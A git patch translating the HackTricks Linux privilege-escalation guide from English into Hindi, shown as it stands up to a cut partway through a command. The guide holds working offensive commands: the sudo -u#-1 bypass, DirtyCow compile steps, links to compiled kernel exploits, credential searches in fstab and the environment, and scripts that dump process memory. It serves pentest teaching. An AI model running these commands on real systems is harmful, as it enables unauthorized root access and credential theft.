From fce1e817d42c002ce8911fb6808d7996fac01bd9 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 Jan 2025 21:04:13 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l --- .../privilege-escalation/README.md | 1056 +++++-------- .../docker-security/README.md | 310 ++-- ...-docker-socket-for-privilege-escalation.md | 54 +- .../docker-security/apparmor.md | 212 +-- ...uthn-docker-access-authorization-plugin.md | 116 +- .../docker-security/cgroups.md | 64 +- .../README.md | 304 ++-- .../docker-release_agent-cgroups-escape.md | 44 +- ...se_agent-exploit-relative-paths-to-pids.md | 58 +- .../sensitive-mounts.md | 162 +- .../docker-security/docker-privileged.md | 86 +- .../docker-security/namespaces/README.md | 16 +- .../namespaces/cgroup-namespace.md | 58 +- .../namespaces/ipc-namespace.md | 58 +- .../namespaces/mount-namespace.md | 64 +- .../namespaces/network-namespace.md | 66 +- .../namespaces/pid-namespace.md | 64 +- .../namespaces/time-namespace.md | 44 +- .../namespaces/user-namespace.md | 84 +- .../namespaces/uts-namespace.md | 50 +- .../docker-security/seccomp.md | 152 +- .../docker-security/weaponizing-distroless.md | 16 +- .../interesting-groups-linux-pe/README.md | 134 +- .../lxd-privilege-escalation.md | 28 +- .../ld.so.conf-example.md | 112 +- .../linux-active-directory.md | 74 +- .../linux-capabilities.md | 1387 +++++++---------- .../privilege-escalation/logstash.md | 52 +- .../nfs-no_root_squash-misconfiguration-pe.md | 90 +- .../payloads-to-execute.md | 94 +- .../runc-privilege-escalation.md | 24 +- .../privilege-escalation/selinux.md | 14 +- .../socket-command-injection.md | 32 +- .../splunk-lpe-and-persistence.md | 50 +- .../ssh-forward-agent-exploitation.md | 24 +- .../wildcards-spare-tricks.md | 46 +- .../privilege-escalation/write-to-root.md | 26 +- .../useful-linux-commands/README.md | 50 +- .../bypass-bash-restrictions.md | 98 +- .../privilege-escalation/exploiting-yum.md | 20 +- .../interesting-groups-linux-pe.md | 101 +- .../macos-auto-start-locations.md | 1372 ++++++++-------- .../macos-red-teaming/README.md | 190 +-- .../macos-red-teaming/macos-keychain.md | 138 +- .../macos-red-teaming/macos-mdm/README.md | 256 +-- ...nrolling-devices-in-other-organisations.md | 56 +- .../macos-mdm/macos-serial-number.md | 40 +- .../README.md | 98 +- .../mac-os-architecture/README.md | 36 +- .../macos-function-hooking.md | 288 ++-- .../mac-os-architecture/macos-iokit.md | 212 ++- .../README.md | 956 ++++++------ .../macos-kernel-extensions.md | 96 +- .../macos-kernel-vulnerabilities.md | 4 +- .../macos-system-extensions.md | 80 +- .../macos-applefs.md | 28 +- .../macos-basic-objective-c.md | 162 +- .../macos-bypassing-firewalls.md | 50 +- .../macos-defensive-apps.md | 10 +- ...yld-hijacking-and-dyld_insert_libraries.md | 94 +- .../macos-file-extension-apps.md | 84 +- .../macos-gcd-grand-central-dispatch.md | 198 ++- .../macos-privilege-escalation.md | 152 +- .../macos-protocols.md | 102 +- .../macos-fs-tricks/README.md | 109 +- .../macos-gatekeeper.md | 59 +- .../macos-sandbox/README.md | 58 +- .../macos-sandbox-debug-and-bypass/README.md | 199 ++- .../macos-tcc/macos-tcc-bypasses/README.md | 112 +- .../macos-users.md | 34 +- src/macos-hardening/macos-useful-commands.md | 22 +- .../android-app-pentesting/README.md | 264 ++-- ...bypass-biometric-authentication-android.md | 15 +- .../content-protocol.md | 18 +- .../drozer-tutorial/README.md | 34 +- .../frida-tutorial/README.md | 26 +- .../frida-tutorial/frida-tutorial-1.md | 25 +- .../frida-tutorial/frida-tutorial-2.md | 21 +- .../frida-tutorial/objection-tutorial.md | 48 +- .../frida-tutorial/owaspuncrackable-1.md | 11 - .../install-burp-certificate.md | 24 +- .../reversing-native-libraries.md | 68 +- .../android-app-pentesting/smali-changes.md | 44 +- .../android-app-pentesting/tapjacking.md | 23 +- src/mobile-pentesting/android-checklist.md | 32 +- .../ios-pentesting-checklist.md | 94 +- .../ios-pentesting/README.md | 193 +-- .../burp-configuration-for-ios.md | 68 +- .../frida-configuration-in-ios.md | 24 +- .../ios-pentesting/ios-uipasteboard.md | 15 +- .../1099-pentesting-java-rmi.md | 28 +- .../11211-memcache/memcache-commands.md | 29 +- .../113-pentesting-ident.md | 24 +- .../135-pentesting-msrpc.md | 38 +- .../15672-pentesting-rabbitmq-management.md | 14 +- .../27017-27018-mongodb.md | 48 +- .../4786-cisco-smart-install.md | 12 +- .../4840-pentesting-opc-ua.md | 23 +- .../512-pentesting-rexec.md | 18 +- .../5985-5986-pentesting-winrm.md | 73 +- .../6000-pentesting-x11.md | 44 +- .../623-udp-ipmi.md | 32 +- .../6379-pentesting-redis.md | 79 +- .../69-udp-tftp.md | 11 +- ...09-pentesting-apache-jserv-protocol-ajp.md | 44 +- .../8086-pentesting-influxdb.md | 25 +- .../9200-pentesting-elasticsearch.md | 53 +- .../pentesting-dns.md | 46 +- .../pentesting-finger.md | 17 +- .../ftp-bounce-download-2oftp-file.md | 28 +- ...entesting-jdwp-java-debug-wire-protocol.md | 27 +- .../pentesting-modbus.md | 7 - .../pentesting-mysql.md | 36 +- .../pentesting-ntp.md | 44 +- .../pentesting-postgresql.md | 87 +- .../pentesting-rdp.md | 43 +- .../pentesting-remote-gdbserver.md | 20 +- .../pentesting-rlogin.md | 11 +- .../pentesting-rpcbind.md | 16 +- .../pentesting-rsh.md | 8 +- .../pentesting-sap.md | 58 +- .../pentesting-smb/rpcclient-enumeration.md | 26 +- .../pentesting-smtp/README.md | 72 +- .../pentesting-smtp/smtp-commands.md | 28 +- .../pentesting-snmp/README.md | 66 +- .../pentesting-snmp/cisco-snmp.md | 19 +- .../pentesting-ssh.md | 76 +- .../pentesting-telnet.md | 21 +- .../pentesting-vnc.md | 16 +- .../pentesting-voip/README.md | 90 +- .../pentesting-web/403-and-401-bypasses.md | 53 +- .../pentesting-web/README.md | 163 +- .../pentesting-web/cgi.md | 31 +- .../pentesting-web/drupal/README.md | 9 +- .../pentesting-web/flask.md | 24 +- .../pentesting-web/graphql.md | 78 +- .../pentesting-web/h2-java-sql-database.md | 6 +- .../pentesting-web/jboss.md | 12 +- .../pentesting-web/jira.md | 28 +- .../pentesting-web/joomla.md | 24 +- .../pentesting-web/laravel.md | 14 +- .../pentesting-web/moodle.md | 15 +- .../pentesting-web/nginx.md | 44 +- .../pentesting-web/php-tricks-esp/README.md | 67 +- .../pentesting-web/put-method-webdav.md | 40 +- .../pentesting-web/rocket-chat.md | 9 +- .../pentesting-web/vmware-esx-vcenter....md | 9 +- .../pentesting-web/web-api-pentesting.md | 24 +- .../pentesting-web/werkzeug.md | 33 +- .../pentesting-web/wordpress.md | 84 +- .../abusing-hop-by-hop-headers.md | 46 +- src/pentesting-web/cache-deception/README.md | 65 +- src/pentesting-web/clickjacking.md | 32 +- .../client-side-template-injection-csti.md | 21 +- src/pentesting-web/command-injection.md | 33 +- .../README.md | 151 +- src/pentesting-web/cors-bypass.md | 121 +- src/pentesting-web/crlf-0d-0a.md | 40 +- .../csrf-cross-site-request-forgery.md | 70 +- src/pentesting-web/dependency-confusion.md | 20 +- src/pentesting-web/deserialization/README.md | 132 +- .../exploiting-__viewstate-parameter.md | 62 +- .../deserialization/ruby-_json-pollution.md | 20 + .../domain-subdomain-takeover.md | 46 +- src/pentesting-web/email-injections.md | 44 +- src/pentesting-web/file-inclusion/README.md | 121 +- .../file-inclusion/lfi2rce-via-php-filters.md | 35 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 24 +- .../file-inclusion/phar-deserialization.md | 16 +- src/pentesting-web/file-upload/README.md | 78 +- .../hacking-jwt-json-web-tokens.md | 51 +- .../http-request-smuggling/README.md | 125 +- src/pentesting-web/iframe-traps.md | 13 +- src/pentesting-web/ldap-injection.md | 21 +- src/pentesting-web/login-bypass/README.md | 36 +- .../login-bypass/sql-login-bypass.md | 20 +- src/pentesting-web/nosql-injection.md | 40 +- .../oauth-to-account-takeover.md | 65 +- src/pentesting-web/open-redirect.md | 14 +- src/pentesting-web/parameter-pollution.md | 24 +- .../proxy-waf-protections-bypass.md | 24 +- src/pentesting-web/race-condition.md | 58 +- src/pentesting-web/rate-limit-bypass.md | 28 +- src/pentesting-web/reset-password.md | 76 +- src/pentesting-web/sql-injection/README.md | 114 +- .../sql-injection/mysql-injection/README.md | 23 +- .../postgresql-injection/README.md | 34 +- .../sql-injection/sqlmap/README.md | 108 +- .../README.md | 74 +- .../README.md | 51 +- .../jinja2-ssti.md | 27 +- .../web-vulnerabilities-methodology.md | 38 +- src/pentesting-web/xpath-injection.md | 38 +- src/pentesting-web/xs-search.md | 590 ++++--- src/pentesting-web/xs-search/README.md | 303 ++-- .../xss-cross-site-scripting/README.md | 115 +- .../xss-cross-site-scripting/steal-info-js.md | 4 - .../xxe-xee-xml-external-entity.md | 89 +- src/todo/more-tools.md | 34 +- .../flipper-zero/fz-125khz-rfid.md | 20 +- .../abusing-ad-mssql.md | 24 +- .../ad-certificates/domain-escalation.md | 101 +- .../asreproast.md | 36 +- .../active-directory-methodology/dcsync.md | 26 +- .../kerberoast.md | 48 +- .../kerberos-double-hop-problem.md | 24 +- .../active-directory-methodology/laps.md | 24 +- .../over-pass-the-hash-pass-the-key.md | 8 +- .../pass-the-ticket.md | 18 +- .../password-spraying.md | 31 +- .../privileged-groups-and-token-privileges.md | 59 +- .../resource-based-constrained-delegation.md | 34 +- .../silver-ticket.md | 18 +- .../authentication-credentials-uac-and-efs.md | 42 +- .../README.md | 55 +- .../uac-user-account-control.md | 46 +- src/windows-hardening/av-bypass.md | 85 +- .../basic-cmd-for-pentesters.md | 33 +- .../powerview.md | 14 +- .../lateral-movement/psexec-and-winexec.md | 8 +- .../lateral-movement/smbexec.md | 24 +- .../ntlm/psexec-and-winexec.md | 30 +- .../credentials-mimikatz.md | 43 +- .../acls-dacls-sacls-aces.md | 118 +- .../dll-hijacking.md | 63 +- .../dpapi-extracting-passwords.md | 40 +- ...vilege-escalation-with-autorun-binaries.md | 24 +- .../uac-user-account-control.md | 58 +- 228 files changed, 7597 insertions(+), 11131 deletions(-) create mode 100644 src/pentesting-web/deserialization/ruby-_json-pollution.md diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index afccf5db5..ed509689e 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,65 +2,54 @@ {{#include ../../banners/hacktricks-training.md}} -## System Information +## सिस्टम जानकारी -### OS info - -Let's start gaining some knowledge of the OS running +### OS जानकारी +आइए चलिए चल रहे OS के बारे में कुछ जानकारी प्राप्त करते हैं ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` - ### Path -If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries: - +यदि आपके पास `PATH` वेरिएबल के अंदर किसी भी फ़ोल्डर पर लिखने की अनुमति है, तो आप कुछ लाइब्रेरी या बाइनरी को हाईजैक करने में सक्षम हो सकते हैं: ```bash echo $PATH ``` - ### Env info -Interesting information, passwords or API keys in the environment variables? - +दिलचस्प जानकारी, पासवर्ड या API कुंजी क्या पर्यावरण चर में हैं? ```bash (env || set) 2>/dev/null ``` - ### Kernel exploits -Check the kernel version and if there is some exploit that can be used to escalate privileges - +कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` +आप एक अच्छा कमजोर कर्नेल सूची और कुछ पहले से **compiled exploits** यहाँ पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)।\ +अन्य साइटें जहाँ आप कुछ **compiled exploits** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) - -To extract all the vulnerable kernel versions from that web you can do: - +उस वेब से सभी कमजोर कर्नेल संस्करणों को निकालने के लिए आप कर सकते हैं: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` - -Tools that could help to search for kernel exploits are: +कर्नेल एक्सप्लॉइट्स की खोज में मदद करने के लिए उपकरण हैं: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (शिकार पर निष्पादित करें, केवल कर्नेल 2.x के लिए एक्सप्लॉइट्स की जांच करता है) -Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +हमेशा **Google में कर्नेल संस्करण खोजें**, शायद आपका कर्नेल संस्करण किसी कर्नेल एक्सप्लॉइट में लिखा हो और फिर आप सुनिश्चित होंगे कि यह एक्सप्लॉइट मान्य है। ### CVE-2016-5195 (DirtyCow) -Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 - +Linux विशेषाधिकार वृद्धि - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -68,96 +57,73 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` +### Sudo संस्करण -### Sudo version - -Based on the vulnerable sudo versions that appear in: - +कमजोर sudo संस्करणों के आधार पर जो प्रकट होते हैं: ```bash searchsploit sudo ``` - -You can check if the sudo version is vulnerable using this grep. - +आप इस grep का उपयोग करके जांच सकते हैं कि sudo संस्करण कमजोर है या नहीं। ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` - #### sudo < v1.28 From @sickrov - ``` sudo -u#-1 /bin/bash ``` +### Dmesg सिग्नेचर सत्यापन विफल -### Dmesg signature verification failed - -Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited - +**HTB के smasher2 बॉक्स** के लिए एक **उदाहरण** देखें कि इस vuln का कैसे शोषण किया जा सकता है ```bash dmesg 2>/dev/null | grep "signature" ``` - -### More system enumeration - +### अधिक सिस्टम एन्यूमरेशन ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` - -## Enumerate possible defenses +## संभावित रक्षा की गणना करें ### AppArmor - ```bash if [ `which aa-status 2>/dev/null` ]; then - aa-status - elif [ `which apparmor_status 2>/dev/null` ]; then - apparmor_status - elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then - ls -d /etc/apparmor* - else - echo "Not found AppArmor" +aa-status +elif [ `which apparmor_status 2>/dev/null` ]; then +apparmor_status +elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then +ls -d /etc/apparmor* +else +echo "Not found AppArmor" fi ``` - -### Grsecurity - +### ग्रसिक्योरिटी ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` - ### PaX - ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` - ### Execshield - ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` - ### SElinux - ```bash - (sestatus 2>/dev/null || echo "Not found sestatus") +(sestatus 2>/dev/null || echo "Not found sestatus") ``` - ### ASLR - ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` - ## Docker Breakout -If you are inside a docker container you can try to escape from it: +यदि आप एक docker container के अंदर हैं, तो आप इससे बाहर निकलने की कोशिश कर सकते हैं: {{#ref}} docker-security/ @@ -165,80 +131,69 @@ docker-security/ ## Drives -Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info - +जांचें **क्या माउंट किया गया है और क्या अनमाउंट किया गया है**, कहाँ और क्यों। यदि कुछ अनमाउंट किया गया है, तो आप इसे माउंट करने और निजी जानकारी की जांच करने की कोशिश कर सकते हैं। ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` +## उपयोगी सॉफ़्टवेयर -## Useful software - -Enumerate useful binaries - +उपयोगी बाइनरीज़ की गणना करें ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` - -Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar) - +इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको कुछ कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` - ### Vulnerable Software Installed -Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ -It is recommended to check manually the version of the more suspicious installed software. - +**स्थापित पैकेज और सेवाओं के संस्करण** की जांच करें। शायद कोई पुराना Nagios संस्करण (उदाहरण के लिए) है जिसे विशेषाधिकार बढ़ाने के लिए शोषण किया जा सकता है...\ +यह अनुशंसा की जाती है कि अधिक संदिग्ध स्थापित सॉफ़्टवेयर के संस्करण की मैन्युअल रूप से जांच करें। ```bash dpkg -l #Debian rpm -qa #Centos ``` +यदि आपके पास मशीन पर SSH पहुंच है, तो आप **openVAS** का उपयोग करके मशीन के अंदर स्थापित पुराने और कमजोर सॉफ़्टवेयर की जांच कर सकते हैं। -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +> [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएंगे जो ज्यादातर बेकार होगी, इसलिए कुछ एप्लिकेशन जैसे OpenVAS या समान का उपयोग करने की सिफारिश की जाती है जो जांचेंगे कि क्या कोई स्थापित सॉफ़्टवेयर संस्करण ज्ञात शोषण के लिए कमजोर है_ -> [!NOTE] > _Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ - -## Processes - -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) +## प्रक्रियाएँ +देखें कि **कौन सी प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **उससे अधिक विशेषाधिकार रखती है जितनी उसे होनी चाहिए** (शायद एक टॉमकैट जिसे रूट द्वारा निष्पादित किया जा रहा है?) ```bash ps aux ps -ef top -n 1 ``` +हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** उन प्रक्रियाओं की कमांड लाइन में `--inspect` पैरामीटर की जांच करके उन्हें पहचानते हैं।\ +साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी और को ओवरराइट कर सकते हैं। -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +### प्रक्रिया निगरानी -### Process monitoring +आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब एक सेट आवश्यकताएँ पूरी होती हैं। -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +### प्रक्रिया मेमोरी -### Process memory - -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +कुछ सर्वर की सेवाएँ **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\ +सामान्यतः, आपको अन्य उपयोगकर्ताओं से संबंधित प्रक्रियाओं की मेमोरी पढ़ने के लिए **रूट विशेषाधिकार** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही रूट हैं और अधिक क्रेडेंशियल्स खोजने की कोशिश कर रहे हैं।\ +हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप उन प्रक्रियाओं की मेमोरी पढ़ सकते हैं जो आपके स्वामित्व में हैं**। > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने बिना विशेषाधिकार वाले उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते। > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की पहुंच को नियंत्रित करती है: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: सभी प्रक्रियाएँ डिबग की जा सकती हैं, जब तक कि उनके पास समान uid हो। यह ptracing के काम करने का पारंपरिक तरीका है। +> - **kernel.yama.ptrace_scope = 1**: केवल एक माता-पिता प्रक्रिया को डिबग किया जा सकता है। +> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि यह CAP_SYS_PTRACE क्षमता की आवश्यकता होती है। +> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाएँ ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए एक रिबूट की आवश्यकता होती है। #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. - +यदि आपके पास एक FTP सेवा (उदाहरण के लिए) की मेमोरी तक पहुंच है, तो आप Heap प्राप्त कर सकते हैं और इसके क्रेडेंशियल्स के अंदर खोज कर सकते हैं। ```bash gdb -p (gdb) info proc mappings @@ -247,50 +202,42 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` - -#### GDB Script - +#### GDB स्क्रिप्ट ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh grep rw-p /proc/$1/maps \ - | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ - | while read start stop; do \ - gdb --batch --pid $1 -ex \ - "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ +| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ +| while read start stop; do \ +gdb --batch --pid $1 -ex \ +"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done ``` - #### /proc/$pid/maps & /proc/$pid/mem -For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. - +किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं। ```bash procdump() ( - cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" - while read a b; do - dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ - skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" - done ) - cat $1*.bin > $1.dump - rm $1*.bin +cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" +while read a b; do +dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ +skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" +done ) +cat $1*.bin > $1.dump +rm $1*.bin ) ``` - #### /dev/mem -`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\ -Typically, `/dev/mem` is only readable by **root** and **kmem** group. - +`/dev/mem` सिस्टम की **भौतिक** मेमोरी तक पहुँच प्रदान करता है, न कि आभासी मेमोरी तक। कर्नेल की आभासी पता स्थान को /dev/kmem का उपयोग करके एक्सेस किया जा सकता है।\ +आम तौर पर, `/dev/mem` केवल **रूट** और **kmem** समूह द्वारा पढ़ा जा सकता है। ``` strings /dev/mem -n10 | grep -i PASS ``` - ### ProcDump for linux -ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) - +ProcDump एक Linux में Sysinternals टूल्स के विंडोज़ सूट से क्लासिक ProcDump टूल का पुनः आविष्कार है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें। ``` procdump -p 1714 @@ -317,48 +264,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` - ### Tools -To dump a process memory you could use: +एक प्रक्रिया की मेमोरी को डंप करने के लिए आप उपयोग कर सकते हैं: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से रूट आवश्यकताओं को हटा सकते हैं और अपने द्वारा स्वामित्व वाली प्रक्रिया को डंप कर सकते हैं +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (रूट की आवश्यकता है) ### Credentials from Process Memory #### Manual example -If you find that the authenticator process is running: - +यदि आप पाते हैं कि प्रमाणीकरण प्रक्रिया चल रही है: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` - -You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory: - +आप प्रक्रिया को डंप कर सकते हैं (प्रक्रिया की मेमोरी को डंप करने के विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें) और मेमोरी के अंदर क्रेडेंशियल्स के लिए खोज कर सकते हैं: ```bash ./dump-memory.sh 2027 strings *.dump | 